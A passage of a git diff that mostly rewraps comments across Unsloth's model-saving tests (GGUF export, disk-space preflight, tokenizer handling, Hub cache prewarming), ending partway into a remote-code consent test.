100644--- a/tests/saving/test_export_dispatch.py+++ b/tests/saving/test_export_dispatch.py@@ -190,8 +190,8 @@ def test_non_peft_gguf_uses_checkpoint_as_input_not_output(assert tokenizer.saved_to == [str(checkpoint)]-# The above rejection points users at push_to_hub_gguf(save_method='lora'), so that path-# has to work; it is only ever exercised here.+# The above rejection points users at push_to_hub_gguf(save_method='lora'), so that path has to work; it is only ever+# exercised here.def test_push_to_hub_gguf_lora_dispatches(monkeypatch):diff --git a/tests/saving/test_fix_sentencepiece_gguf_robustness.py b/tests/saving/test_fix_sentencepiece_gguf_robustness.pyindex dd1cc3e02be..4fad9e93383 100644--- a/tests/saving/test_fix_sentencepiece_gguf_robustness.py+++ b/tests/saving/test_fix_sentencepiece_gguf_robustness.py@@ -4,10 +4,9 @@ import osos.environ.setdefault("PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION", "python")-# Same accessor unsloth.tokenizer_utils uses. The legacy-# `transformers.utils.sentencepiece_model_pb2` is generated against protobuf-# 3.x and raises on protobuf >= 4 ("Descriptors cannot be created directly"),-# or collides with sentencepiece's own copy ("duplicate file name+# Same accessor unsloth.tokenizer_utils uses.+# The legacy `transformers.utils.sentencepiece_model_pb2` is generated against protobuf 3.x and raises on protobuf >= 4+# ("Descriptors cannot be created directly"), or collides with sentencepiece's own copy ("duplicate file name# sentencepiece_model.proto") once that one is loaded first.from transformers.convert_slow_tokenizer import import_protobufdiff --git a/tests/saving/test_fix_sentencepiece_tokenizer_guard.py b/tests/saving/test_fix_sentencepiece_tokenizer_guard.pyindex fa29032aaca..0bbfeb468a8 100644--- a/tests/saving/test_fix_sentencepiece_tokenizer_guard.py+++ b/tests/saving/test_fix_sentencepiece_tokenizer_guard.py@@ -6,10 +6,9 @@ os.environ.setdefault("PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION", "python")import transformers-# Same accessor unsloth.tokenizer_utils uses. The legacy-# `transformers.utils.sentencepiece_model_pb2` is generated against protobuf-# 3.x and raises on protobuf >= 4 ("Descriptors cannot be created directly"),-# or collides with sentencepiece's own copy ("duplicate file name+# Same accessor unsloth.tokenizer_utils uses.+# The legacy `transformers.utils.sentencepiece_model_pb2` is generated against protobuf 3.x and raises on protobuf >= 4+# ("Descriptors cannot be created directly"), or collides with sentencepiece's own copy ("duplicate file name# sentencepiece_model.proto") once that one is loaded first.from transformers.convert_slow_tokenizer import import_protobuf@@ -166,14 +165,12 @@ def test_each_call_uses_a_fresh_isolated_subdirectory(tmp_path, monkeypatch):location = str(tmp_path / "_unsloth_sentencepiece_temp")os.makedirs(location, exist_ok = True)- # A pre-existing artifact in the shared scratch location.marker = os.path.join(location, "leftover.json")with open(marker, "w") as f:f.write("{}")old1, new1 = _tokenizers()old2, new2 = _tokenizers()- # Hold both returned tokenizers so their scratch dirs stay alive.tok1 = fix_sentencepiece_tokenizer(old1, new1, {"</s>": "<|im_end|>"}, temporary_location = location)diff --git a/tests/saving/test_gguf_disk_preflight.py b/tests/saving/test_gguf_disk_preflight.pyindex 424d4ba34ed..4e615900edb 100644--- a/tests/saving/test_gguf_disk_preflight.py+++ b/tests/saving/test_gguf_disk_preflight.py@@ -301,9 +301,8 @@ class TestKaggleRedirectWiring:)monkeypatch.setattr(S, "free_bytes", fake_free)S._preflight_gguf_disk(_FakeModel(), "model", "q4_k_m")- # The `_gguf` sibling is measured as well, and so is the working- # directory the intermediate conversion is written to. What must never- # be measured is the directory the redirect moved away from.+ # The `_gguf` sibling is measured as well, and so is the working directory the intermediate conversion is+ # written to. What must never be measured is the directory the redirect moved away from.assert probed[0] == "/tmp/unsloth_saves/model"assert "model" not in probedassert set(probed) <= {@@ -403,8 +402,8 @@ class TestNoLeakIntoSaveKwargs:line = line.strip()if line.startswith('del arguments["'):deleted.add(line.split('"')[1])- # Every local that exists at the snapshot point and is not a parameter- # of unsloth_generic_save has to be deleted before the call.+ # Every local that exists at the snapshot point and is not a parameter of unsloth_generic_save has to be deleted+ # before the call.introduced = {"self","base_model_name",@@ -421,9 +420,8 @@ class TestNoLeakIntoSaveKwargs:assert name in deleted, f"{name} would be passed to unsloth_generic_save"-# The unsloth_zoo.disk_utils signatures, transcribed. The fixtures above accept-# `**kwargs`, which is convenient and hides the one failure that matters: an-# argument the real function does not take raises TypeError, and every caller+# The unsloth_zoo.disk_utils signatures, transcribed. The fixtures above accept `**kwargs`, which is convenient and+# hides the one failure that matters: an argument the real function does not take raises TypeError, and every caller# here swallows exceptions, so the guard silently turns itself off.# `test_reference_signatures_match_the_installed_zoo` keeps these honest.def _zoo_estimate_gguf_export_bytes(@@ -511,9 +509,8 @@ class TestMergeSizing:def test_a_plain_merge_is_two_bytes_per_parameter(self, sized):S._preflight_merge_disk(_FakeModel(), "model", "merged_16bit")- # Not the GGUF estimate, which would add an intermediate conversion- # this export never writes. No headroom either: `_FakeModel` has no- # adapter, so nothing here reaches `merge_and_overwrite_lora`.+ # Not the GGUF estimate, which would add an intermediate conversion this export never writes. No headroom+ # either: `_FakeModel` has no adapter, so nothing here reaches `merge_and_overwrite_lora`.assert sized == [_merge_preflight_ask(10 * GB, 0)]@pytest.mark.parametrize("save_method", ["merged 16bit", "MERGED_16BIT", " merged-16bit "])@@ -720,8 +717,8 @@ class TestTheRecipesIgnoredModulesStay16Bit:# 2GB embeddings + 1GB vision tower stay 16-bit; the other 7GB go to 8.expected = 10 * GB + _sibling_bytes(10 * GB, 3 * GB, 8)assert sized == [_merge_preflight_ask(expected, 10 * GB)]- # And strictly more than the embeddings-only figure this replaces, which- # is the whole point: the old estimate was short.+ # And strictly more than the embeddings-only figure this replaces, which is the whole point: the old estimate+ # was short.assert sized[0] > _merge_preflight_ask(10 * GB + _sibling_bytes(10 * GB, 2 * GB, 8), 10 * GB)@@ -863,8 +860,8 @@ class TestTorchaoStagingSharesTheRedirectDestination:monkeypatch.setattr(S, "_same_filesystem", lambda left, right: True)return target, free- # 10GB merge -> a 5GB sibling. No headroom: the merge is staged in a temp- # directory, so no merge guard ever measures this filesystem.+ # 10GB merge -> a 5GB sibling. No headroom: the merge is staged in a temp directory, so no merge guard ever+ # measures this filesystem._SIBLING = 5 * GBdef test_room_for_the_sibling_alone_is_not_enough(self, redirected):@@ -1018,8 +1015,7 @@ class TestTorchaoStagingSharesTheRedirectDestination:monkeypatch.setattr(zoo, "KAGGLE_TMP", str(scratch))monkeypatch.setenv("UNSLOTH_IS_KAGGLE", "1")monkeypatch.delenv("UNSLOTH_KAGGLE_USE_TMP", raising = False)- # The working directory is full and the scratch overlay is not, which- # is the only shape that moves anything.+ # The working directory is full and the scratch overlay is not, which is the only shape that moves anything.monkeypatch.setattr(zoo,"free_bytes",@@ -1057,8 +1053,8 @@ class TestASeparateStagingFilesystemIsStillMeasured:staging = tmp_path / "tmp"staging.mkdir()- # `tempfile.gettempdir()` caches its answer on first use, so setting- # the variable alone would leave the process's real temp directory.+ # `tempfile.gettempdir()` caches its answer on first use, so setting the variable alone would leave the+ # process's real temp directory.monkeypatch.setattr(tempfile, "tempdir", str(staging))free = {"staging": 0, "other": 1000 * GB}monkeypatch.setattr(S, "model_16bit_bytes", lambda model: self._STAGING)@@ -1163,8 +1159,7 @@ class TestTheStagingWarningSurvivesAFreshDestination:staging = tmp_path / "tmp"staging.mkdir()monkeypatch.chdir(tmp_path)- # `tempfile.gettempdir()` caches its answer, so the attribute and the- # variable both have to move.+ # `tempfile.gettempdir()` caches its answer, so the attribute and the variable both have to move.monkeypatch.setattr(tempfile, "tempdir", str(staging))monkeypatch.setenv("TMPDIR", str(staging))@@ -1267,8 +1262,8 @@ class TestMergeHeadroomMatchesTheZooGuard:forwards_state_dict = True,writer_runs_merge_guard = True,)- # Free space that satisfies this preflight also satisfies the 5% the- # merge reserves; 31GB satisfies neither.+ # Free space that satisfies this preflight also satisfies the 5% the merge reserves;+ # 31GB satisfies neither.assert int(asked[0] * 0.95) >= 30 * GBassert int(31 * GB * 0.95) < 30 * GB@@ -1365,8 +1360,8 @@ class TestFullModelSavedAsLora:@pytest.fixturedef sized(self, monkeypatch):asked = []- # Deliberately not the size of the checkpoint: a full-model save is- # written with no cast, so believing this figure is the bug.+ # Deliberately not the size of the checkpoint: a full-model save is written with no cast, so believing this+ # figure is the bug.monkeypatch.setattr(S, "model_16bit_bytes", lambda model: 10 * GB)monkeypatch.setattr(S,@@ -1546,8 +1541,8 @@ class TestASuppliedDictIsWhatASixteenBitSaveWrites:@pytest.fixturedef sized(self, monkeypatch):asked = []- # Deliberately not the size of the dict below: believing this figure- # for a save driven by the caller's dictionary is the bug.+ # Deliberately not the size of the dict below: believing this figure for a save driven by the caller's+ # dictionary is the bug.monkeypatch.setattr(S, "model_16bit_bytes", lambda model: 10 * GB)monkeypatch.setattr(S,@@ -1588,9 +1583,8 @@ class TestASuppliedDictIsWhatASixteenBitSaveWrites:forwards_state_dict = True,)assert expected == 8 * GB- # No adapter, so `unsloth_generic_save` casts this dictionary and- # writes it with a bare `save_pretrained`. There is no- # `merge_and_overwrite_lora` behind that and so nothing to reserve.+ # No adapter, so `unsloth_generic_save` casts this dictionary and writes it with a bare `save_pretrained`.+ # There is no `merge_and_overwrite_lora` behind that and so nothing to reserve.assert sized == [_merge_preflight_ask(expected, 0)]def test_an_empty_dict_writes_nothing(self, sized):@@ -1641,8 +1635,8 @@ class TestASuppliedDictIsWhatASixteenBitSaveWrites:"merged_16bit",state_dict = self._dict(),)- # It writes the merged shards itself and runs no zoo guard, so the- # model is sized at two bytes a parameter and reserved against nothing.+ # It writes the merged shards itself and runs no zoo guard, so the model is sized at two bytes a parameter and+ # reserved against nothing.assert sized == [_merge_preflight_ask(10 * GB, 0)]def test_each_call_site_says_what_its_writer_does_with_the_dict(self, monkeypatch):@@ -1680,8 +1674,8 @@ class TestASuppliedDictIsWhatASixteenBitSaveWrites:save_method = "merged_16bit",state_dict = {"weight": torch.zeros(4)},)- # The third flag is the merge guard: only `unsloth_generic_save` runs- # `merge_and_overwrite_lora`, and only for an adapter.+ # The third flag is the merge guard: only `unsloth_generic_save` runs `merge_and_overwrite_lora`, and only for+ # an adapter.assert seen == [(False, False, False), (True, False, True)]def test_the_writers_really_differ(self):@@ -1724,11 +1718,10 @@ class TestTheGgufSiblingIsMeasuredToo:monkeypatch.setattr(S, "free_bytes", fake_free)monkeypatch.setattr(S, "estimate_gguf_export_bytes", fake_estimate)monkeypatch.setattr(S, "kaggle_tmp_redirect", lambda *a, **k: ("model", None))- # Only the save-directory / sibling pair is split. Every other pair the- # preflight asks about -- notably the working directory the intermediate- # conversion is written to -- is one filesystem, which is the ordinary- # machine these tests describe. The conversion travels with the sibling- # there, so the save directory's filesystem holds the checkpoint alone.+ # Only the save-directory / sibling pair is split. Every other pair the preflight asks about -- notably the+ # working directory the intermediate conversion is written to -- is one filesystem, which is the ordinary+ # machine these tests describe. The conversion travels with the sibling there, so the save directory's+ # filesystem holds the checkpoint alone.monkeypatch.setattr(S,"_on_separate_filesystems",@@ -1854,11 +1847,10 @@ class TestEachFilesystemIsChargedForWhatItHolds:)monkeypatch.setattr(S, "estimate_gguf_export_bytes", fake_estimate)monkeypatch.setattr(S, "kaggle_tmp_redirect", lambda *a, **k: ("model", None))- # Only the save-directory / sibling pair is split. Every other pair the- # preflight asks about -- notably the working directory the intermediate- # conversion is written to -- is one filesystem, which is the ordinary- # machine these tests describe. The conversion travels with the sibling- # there, so the save directory's filesystem holds the checkpoint alone.+ # Only the save-directory / sibling pair is split. Every other pair the preflight asks about -- notably the+ # working directory the intermediate conversion is written to -- is one filesystem, which is the ordinary+ # machine these tests describe. The conversion travels with the sibling there, so the save directory's+ # filesystem holds the checkpoint alone.monkeypatch.setattr(S,"_on_separate_filesystems",@@ -1869,9 +1861,8 @@ class TestEachFilesystemIsChargedForWhatItHolds:monkeypatch.setattr(S, "_shares_filesystem", lambda left, right: False)monkeypatch.setattr(S, "IS_KAGGLE_ENVIRONMENT", False)monkeypatch.setattr(S, "IS_COLAB_ENVIRONMENT", False)- # The reserve below belongs to `merge_and_overwrite_lora`, which only- # a PEFT model reaches, so the tests that exercise it need a model the- # preflight recognises as one.+ # The reserve below belongs to `merge_and_overwrite_lora`, which only a PEFT model reaches, so the tests that+ # exercise it need a model the preflight recognises as one.monkeypatch.setattr(S, "PeftModel", _FakeAdapterModel)monkeypatch.delenv("UNSLOTH_DISK_PREFLIGHT", raising = False)monkeypatch.delenv("UNSLOTH_PREWARM_HUB_CACHE", raising = False)@@ -2372,9 +2363,8 @@ class TestADisposableMergeIsNotChargedForAllThreeAtOnce:lambda path: 1000 * GB if str(path).endswith("_gguf") else state["free"],)monkeypatch.setattr(S, "kaggle_tmp_redirect", lambda *a, **k: (a[0], None))- # Only the save-directory / sibling pair can be split. The working- # directory the conversion writes to is one filesystem with the sibling- # here, so it is never charged to the save directory's disk.+ # Only the save-directory / sibling pair can be split. The working directory the conversion writes to is one+ # filesystem with the sibling here, so it is never charged to the save directory's disk.monkeypatch.setattr(S,"_on_separate_filesystems",@@ -2383,8 +2373,7 @@ class TestADisposableMergeIsNotChargedForAllThreeAtOnce:monkeypatch.setattr(S, "_shares_filesystem", lambda left, right: False)monkeypatch.setattr(S, "IS_KAGGLE_ENVIRONMENT", False)monkeypatch.setattr(S, "IS_COLAB_ENVIRONMENT", False)- # A disposable merge is a LoRA merge, so the model is a PEFT one and- # the split branch's reserve applies to it.+ # A disposable merge is a LoRA merge, so the model is a PEFT one and the split branch's reserve applies to it.monkeypatch.setattr(S, "PeftModel", _FakeAdapterModel)monkeypatch.delenv("UNSLOTH_DISK_PREFLIGHT", raising = False)monkeypatch.delenv("UNSLOTH_PREWARM_HUB_CACHE", raising = False)@@ -2484,8 +2473,8 @@ class TestADisposableMergeIsNotChargedForAllThreeAtOnce:def test_split_storage_charges_each_side_instead(self, phases):"""The reclamation declines across filesystems, so the relief must too."""phases.update(separate = True, free = 62 * GB)- # 141 aggregate - 78 sibling = 63GB of checkpoint, 66.3GB once the- # merge's own 0.95 reserve is on it, and 62GB holds neither.+ # 141 aggregate - 78 sibling = 63GB of checkpoint, 66.3GB once the merge's own 0.95 reserve is on it, and 62GB+ # holds neither.with pytest.raises(RuntimeError) as error:self._preflight(phases)assert "66.3GB" in str(error.value)@@ -2535,9 +2524,8 @@ class TestADisposableMergeIsNotChargedForAllThreeAtOnce:try:self._preflight(phases, **kwargs)except RuntimeError:- # The ask is recorded before the refusal, and it is the ask this- # is about: a declined move followed by a refusal is exactly what- # a too-small aggregate produces.+ # The ask is recorded before the refusal, and it is the ask this is about: a declined move followed by+ # a refusal is exactly what a too-small aggregate produces.passreturn asked@@ -2794,9 +2782,8 @@ class TestAColocatedConversionIsChargedWithTheCheckpoint:@pytest.fixturedef colocated(self, monkeypatch):- # One device map rather than a stub per pair, so the three paths cannot- # describe a machine that does not exist -- and so this fixture drives- # the code as it stands rather than a helper added to fix it.+ # One device map rather than a stub per pair, so the three paths cannot describe a machine that does not+ # exist -- and so this fixture drives the code as it stands rather than a helper added to fix it.state = {"free": 100 * GB, "devices": {"model": 1, "model_gguf": 2, "work": 1}}def fake_estimate(**kwargs):@@ -2812,8 +2799,8 @@ class TestAColocatedConversionIsChargedWithTheCheckpoint:)monkeypatch.setattr(S, "kaggle_tmp_redirect", lambda *a, **k: ("model", None))monkeypatch.setattr(S, "_gguf_conversion_directory", lambda directory: "work")- # `model` is the mount and `model_gguf` is not, so the export is split;- # the working directory is on the mount with `model`.+ # `model` is the mount and `model_gguf` is not, so the export is split; the working directory is on the mount+ # with `model`.monkeypatch.setattr(S, "_filesystem_id", lambda path: state["devices"].get(str(path)))monkeypatch.setattr(S, "IS_KAGGLE_ENVIRONMENT", False)monkeypatch.setattr(S, "IS_COLAB_ENVIRONMENT", False)@@ -2885,8 +2872,8 @@ class TestTheMergeGuardAndTheConversionAreTwoPhases:)monkeypatch.setattr(S, "kaggle_tmp_redirect", lambda *a, **k: ("model", None))monkeypatch.setattr(S, "_gguf_conversion_directory", lambda directory: "work")- # `model` and the working directory are one mount, the `_gguf` sibling- # another, so the export is split and the conversion lands here.+ # `model` and the working directory are one mount, the `_gguf` sibling another, so the export is split and the+ # conversion lands here.monkeypatch.setattr(S,"_filesystem_id",@@ -3132,10 +3119,9 @@ class TestTheGenericFallbackCopiesWhatItHolds:forwards_state_dict = True,writes_model_verbatim = True,)- # Sized from the model rather than the dictionary, and unreserved: the- # writer these two flags describe is `unsloth_save_model`, which merges- # and writes the shards itself with no `merge_and_overwrite_lora`- # anywhere behind it.+ # Sized from the model rather than the dictionary, and unreserved: the writer these two flags describe is+ # `unsloth_save_model`, which merges and writes the shards itself with no `merge_and_overwrite_lora` anywhere+ # behind it.assert sized == [_merge_preflight_ask(10 * GB, 0)]assert S._merge_writer_disposition(_FakeAdapterModel(), "merged_16bit") == (False, False)@@ -3317,8 +3303,8 @@ class TestOnlyTheGuardedWriterIsCharged:So the method alone settles it and the flag is not needed."""S._preflight_merge_disk(adapter, "model", "fp8", forwards_state_dict = True)- # The sibling is half the merge, well past the 5%, so the aggregate is- # the binding figure. What matters is that the reserve is still there.+ # The sibling is half the merge, well past the 5%, so the aggregate is the binding figure. What matters is+ # that the reserve is still there.assert sized == [max(self.MERGE + self.MERGE // 2, _with_merge_headroom(self.MERGE))]def test_the_plain_entrypoint_runs_no_guard_at_all(self, sized, adapter):@@ -3338,8 +3324,7 @@ class TestOnlyTheGuardedWriterIsCharged:assert source.count("merge_and_overwrite_lora(\n") == 1generic = inspect.getsource(S.unsloth_generic_save)before, _, after = generic.partition("merge_and_overwrite_lora(")- # The call sits on the adapter branch, and the no-adapter branch above- # it writes with `save_pretrained`.+ # The call sits on the adapter branch, and the no-adapter branch above it writes with `save_pretrained`.assert "if not _is_peft:" in beforeassert "model.save_pretrained(save_directory, **_save_kwargs)" in beforeassert after.strip(), "the call takes arguments"@@ -3435,8 +3420,8 @@ class TestTheGgufPreflightIsToldTheModelDtype:S.unsloth_save_pretrained_gguf(self._Model(self._Config(torch.bfloat16)),"model",- # Any object gets past the "GGUF needs a tokenizer" check and- # dies well after the preflight, which is the point.+ # Any object gets past the "GGUF needs a tokenizer" check and dies well after the preflight, which is+ # the point.tokenizer = object(),quantization_method = ["f16", "q4_k_m"],)@@ -3460,10 +3445,9 @@ class TestThePrewarmedCacheIsChargedToItsOwnFilesystem:@pytest.fixturedef split(self, monkeypatch):- # The cache is looked up through `_hub_cache_directory`, whose answer- # is a real path on this machine, so it is the DEFAULT of the device- # map rather than an entry in it. Patching the resolver instead would- # let a build that never calls it pass.+ # The cache is looked up through `_hub_cache_directory`, whose answer is a real path on this machine, so it is+ # the DEFAULT of the device map rather than an entry in it. Patching the resolver instead would let a build+ # that never calls it pass.state = {"here": 1000 * GB, "there": 1000 * GB, "cache_device": 2}devices = {"model": 1, "model_gguf": 2, "work": 2}@@ -3572,8 +3556,8 @@ class TestAnUnsupportedBF16IsNormalizedBeforeEstimating:def estimate(**kwargs):if kwargs.get("quantization_methods") and kwargs.get("needs_merge"):- # Once for `need` and once for `need_with_cache`; deduped so- # the assertions below are about the NAME and not the count.+ # Once for `need` and once for `need_with_cache`;+ # deduped so the assertions below are about the NAME and not the count.if kwargs["first_conversion"] not in asked:asked.append(kwargs["first_conversion"])return self._estimate(**kwargs)@@ -3658,8 +3642,8 @@ class TestTheCacheIsChargedOnTheConversionFilesystem:@pytest.fixturedef state(self, monkeypatch):# The output and its `_gguf` sibling on device 1; the CWD on device 2.- # `cache_device` is a knob so the same scenario can put the cache on- # the conversion's disk, on the output's, or nowhere resolvable.+ # `cache_device` is a knob so the same scenario can put the cache on the conversion's disk, on the output's, or+ # nowhere resolvable.state = {"conversion_free": int(2.5 * self.BASE), "cache_device": 2}devices = {"model": 1, "model_gguf": 1, self.WORK: 2}diff --git a/tests/saving/test_gguf_export_and_inference.py b/tests/saving/test_gguf_export_and_inference.pyindex 5fbc0d245fa..3d46a3b7c8c 100644--- a/tests/saving/test_gguf_export_and_inference.py+++ b/tests/saving/test_gguf_export_and_inference.py@@ -26,9 +26,9 @@ import torchfrom unsloth import FastLanguageModel-# Downloads two checkpoints, merges them and shells out to llama.cpp. The skipif-# already keeps it off a GPU-less runner; `gpu` is what keeps it out of a default-# `pytest tests/` on a machine that HAS a GPU. CI runs it under `-m gpu`.+# Downloads two checkpoints, merges them and shells out to llama.cpp. The skipif already keeps it off a GPU-less+# runner; `gpu` is what keeps it out of a default `pytest tests/` on a machine that HAS a GPU. CI runs it under+# `-m gpu`.pytestmark = [pytest.mark.gpu,pytest.mark.skipif(@@ -153,8 +153,8 @@ def exported_gguf(tmp_path_factory):processing_class = tokenizer,train_dataset = dataset,args = SFTConfig(- # max_length is left unset: newer TRL enables padding-free training (without packing)- # by default, where SFTConfig(max_length=...) raises because length is not enforced.+ # max_length is left unset: newer TRL enables padding-free training (without packing) by default,+ # where SFTConfig(max_length=...) raises because length is not enforced.max_length = None,dataset_text_field = "text",per_device_train_batch_size = 4,@@ -172,7 +172,6 @@ def exported_gguf(tmp_path_factory):model.save_pretrained_gguf(out_dir, tokenizer, quantization_method = "q8_0")- # Output lands in a sibling "<dir>_gguf" directory.ggufs = sorted(set(glob.glob(os.path.join(out_dir, "**", "*.gguf"), recursive = True)@@ -209,8 +208,8 @@ def test_gguf_llama_cli_inference_reflects_finetune(exported_gguf):text = _run_llama_capped(cli, gguf, exported_gguf["prompt"])assert text.strip(), "llama-cli produced no output"- # The phrase was imprinted on every training example, so it dominates generation -- # its presence proves the trained weights survived the HF -> GGUF -> quantize round-trip.+ # The phrase was imprinted on every training example, so it dominates generation - its presence proves the trained+ # weights survived the HF -> GGUF -> quantize round-trip.assert PHRASE in text, f"trained phrase not found in GGUF inference output:\n{text[:500]}"diff --git a/tests/saving/test_imatrix_export.py b/tests/saving/test_imatrix_export.pyindex 6e5b06d7cc7..1b9a1e1fe49 100644--- a/tests/saving/test_imatrix_export.py+++ b/tests/saving/test_imatrix_export.py@@ -16,8 +16,7 @@ import pytestimport unsloth.save as Simport unsloth_zoo.llama_cpp as L-# The --imatrix wiring lives in unsloth_zoo's quantize_gguf (a companion change). Where the-# installed unsloth_zoo predates it, skip the tests that require it rather than hard-failing CI.+# The --imatrix wiring lives in unsloth_zoo's quantize_gguf (a companion change)._ZOO_HAS_IMATRIX = "imatrix" in inspect.signature(L.quantize_gguf).parameters_needs_zoo_imatrix = pytest.mark.skipif(not _ZOO_HAS_IMATRIX,@@ -98,8 +97,8 @@ def test_repo_candidates_appends_gguf():def test_repo_candidates_maps_official_base_to_unsloth_org():- # The upstream imatrix only lives in unsloth/<base>-GGUF, so an official base id must map onto- # the unsloth org rather than deriving a non-existent meta-llama/...-GGUF repo.+ # The upstream imatrix only lives in unsloth/<base>-GGUF, so an official base id must map onto the unsloth org+ # rather than deriving a non-existent meta-llama/...-GGUF repo.repos = S._gguf_repo_candidates(_Model("meta-llama/Llama-3.1-8B-Instruct"))assert "unsloth/Llama-3.1-8B-Instruct-GGUF" in reposassert not any(r.startswith("meta-llama/") for r in repos)@@ -126,8 +125,8 @@ class _FakeApi:def _patch_hub(monkeypatch, files, downloaded_dir):- # HfApi is the module-level name in unsloth.save; hf_hub_download is imported locally inside- # the helper, so patch it on huggingface_hub. Both must be patched to stay fully offline.+ # HfApi is the module-level name in unsloth.save;+ # hf_hub_download is imported locally inside the helper, so patch it on huggingface_hub.monkeypatch.setattr(S, "HfApi", lambda **kw: _FakeApi(files))def _fake_download(diff --git a/tests/saving/test_normalize_tied_weights_keys.py b/tests/saving/test_normalize_tied_weights_keys.pyindex d18c9877ea8..d7080da0355 100644--- a/tests/saving/test_normalize_tied_weights_keys.py+++ b/tests/saving/test_normalize_tied_weights_keys.py@@ -81,7 +81,6 @@ def test_decorator_coerces_during_save_then_restores():return "ok"assert save(root) == "ok"- # Dict form was visible to the save, list form restored afterwards.assert seen["keys"] == {"lm_head.weight": "lm_head.weight"}assert mixer._tied_weights_keys == ["lm_head.weight"]@@ -100,8 +99,8 @@ def test_decorator_restores_on_exception():def test_decorator_finds_model_in_kwargs_and_positional():- # unsloth_save_model / unsloth_generic_save pass model= as a keyword; the gguf path- # binds it as the first positional (method ``self``). Both must be coerced.+ # unsloth_save_model / unsloth_generic_save pass model= as a keyword; the gguf path binds it as the first positional+ # (method ``self``). Both must be coerced.for call in (lambda f, r: f(model = r), lambda f, r: f(r)):root, mixer = _build_tree()mixer._tied_weights_keys = ["w.weight"]diff --git a/tests/saving/test_offline_gguf_vlm_tokenizer_7481.py b/tests/saving/test_offline_gguf_vlm_tokenizer_7481.pyindex 9a15e362fcc..4918af03f6d 100644--- a/tests/saving/test_offline_gguf_vlm_tokenizer_7481.py+++ b/tests/saving/test_offline_gguf_vlm_tokenizer_7481.py@@ -212,8 +212,8 @@ def test_offline_aware_load_persists_local_only_for_saving(tmp_path, monkeypatch"""from unsloth.save import _TOKENIZER_MODEL_CACHE, _has_tokenizer_model- # Snapshot has tokenizer metadata but deliberately no tokenizer.model, so the- # cache probe misses and only the local-only stamp can stop the Hub request.+ # Snapshot has tokenizer metadata but deliberately no tokenizer.model, so the cache probe misses and only the+ # local-only stamp can stop the Hub request._write_gemma4_cache(tmp_path)monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)@@ -318,7 +318,6 @@ def test_custom_cache_dir_survives_to_saving(tmp_path, monkeypatch):snap = _write_gemma4_cache(custom_cache)(snap / "tokenizer.model").write_bytes(b"sp-model")- # The environment points somewhere else entirely.monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path / "unrelated"))diff --git a/tests/saving/test_prewarm_base_model_hub_cache.py b/tests/saving/test_prewarm_base_model_hub_cache.pyindex 4269f9d61c3..98ee8a54a53 100644--- a/tests/saving/test_prewarm_base_model_hub_cache.py+++ b/tests/saving/test_prewarm_base_model_hub_cache.py@@ -108,8 +108,8 @@ def _build_env(hf_hub_download = _Recorder(result = str(tmp_path / "cached"))if not cached:hf_hub_download.exc = _LocalMiss("not cached")- # Serve model.safetensors.index.json (the merge's shard filter) while shard cache- # probes still miss, so the index-filter path can be exercised without a network.+ # Serve model.safetensors.index.json (the merge's shard filter) while shard cache probes still miss, so the+ # index-filter path can be exercised without a network.if index_weight_map is not None:_idx_path = tmp_path / "model.safetensors.index.json"_idx_path.write_text(json.dumps({"weight_map": index_weight_map}))@@ -127,8 +127,8 @@ def _build_env(hf_hub_download.results_fn = _hub_dlsnapshot_download = _Recorder()determine_base_model_source = _Recorder(result = base_source)- # For the FP8 -> 16bit sibling swap: return the sibling's (16bit) source when the- # helper re-resolves the sibling, else the original base source.+ # For the FP8 -> 16bit sibling swap: return the sibling's (16bit) source when the helper re-resolves the sibling,+ # else the original base source.if fp8_sibling is not None:_sib_src = sibling_source or (fp8_sibling, False, None, False, None)determine_base_model_source.results_fn = (@@ -317,8 +317,8 @@ def test_gpt_oss_bf16_mxfp4_swap_skips(monkeypatch, tmp_path):def test_missing_config_skips_cleanly(monkeypatch, tmp_path):- # A model whose config is None must skip silently, not fall into the outer- # exception handler that prints a misleading "Could not pre-cache" warning.+ # A model whose config is None must skip silently, not fall into the outer exception handler that prints a+ # misleading "Could not pre-cache" warning.fn, stubs = _build_env(monkeypatch, tmp_path)model = _FakePeftModel() # a PeftModel instance so the isinstance guard passesmodel.config = None@@ -331,8 +331,8 @@ def test_missing_config_skips_cleanly(monkeypatch, tmp_path):def test_relative_hub_cache_does_not_falsely_skip(monkeypatch, tmp_path):- # A relative HF_HUB_CACHE whose leaf does not exist yet must still resolve to a real- # root for the disk probe; without abspath the walk-up hits "" and pre-warm is skipped.+ # A relative HF_HUB_CACHE whose leaf does not exist yet must still resolve to a real root for the disk probe;+ # without abspath the walk-up hits "" and pre-warm is skipped.monkeypatch.chdir(tmp_path)fn, stubs = _build_env(monkeypatch, tmp_path, hub_cache = "relcache/hub")fn(_FakePeftModel(), save_method = "merged_16bit")@@ -363,8 +363,8 @@ def test_prewarm_downloads_into_live_env_cache(monkeypatch, tmp_path):def test_prewarm_survives_runtime_cache_redirect(monkeypatch, tmp_path):- # Frozen constants (stale dir) vs the merge's runtime-redirected dir: the pre-warm- # must follow the redirect, else the cache-copy fast path misses and #6890 is unfixed.+ # Frozen constants (stale dir) vs the merge's runtime-redirected dir: the pre-warm must follow the redirect, else+ # the cache-copy fast path misses and #6890 is unfixed.fn, stubs = _build_env(monkeypatch,tmp_path,diff --git a/tests/saving/test_quant_method_none_normalization.py b/tests/saving/test_quant_method_none_normalization.pyindex c1c5fd36865..d7e75a7bce5 100644--- a/tests/saving/test_quant_method_none_normalization.py+++ b/tests/saving/test_quant_method_none_normalization.py@@ -39,7 +39,6 @@ def _func(tree, name):def _quant_loop(func_name):- # The quant-normalization `for` loop iterates `quantization_method`; grab its source.func = _func(SAVE_TREE, func_name)for node in ast.walk(func):if (@@ -55,7 +54,6 @@ def _quant_loop(func_name):def _run_loop(func_name, out_var, quantization_method):- # exec just the extracted loop against a given input, returning the appended methods.loop_src = ast.get_source_segment(SAVE_SRC, _quant_loop(func_name))namespace = {out_var: [], "quantization_method": quantization_method}exec(loop_src, {"__builtins__": __builtins__}, namespace)diff --git a/tests/saving/test_torchao_remote_code_consent.py b/tests/saving/test_torchao_remote_code_consent.pyindex 1d0acb78661..22d6aa00c6a 100644--- a/tests/saving/test_torchao_remote_code_consent.py+++ b/tests/saving/test_torchao_remote_code_consent.py@@ -61,8 +61,8 @@ def test_none_module_is_not_remote_code():def test_auto_map_in_config_alone_does_not_grant_trust():- # The core bypass: a built-in-loadable model whose 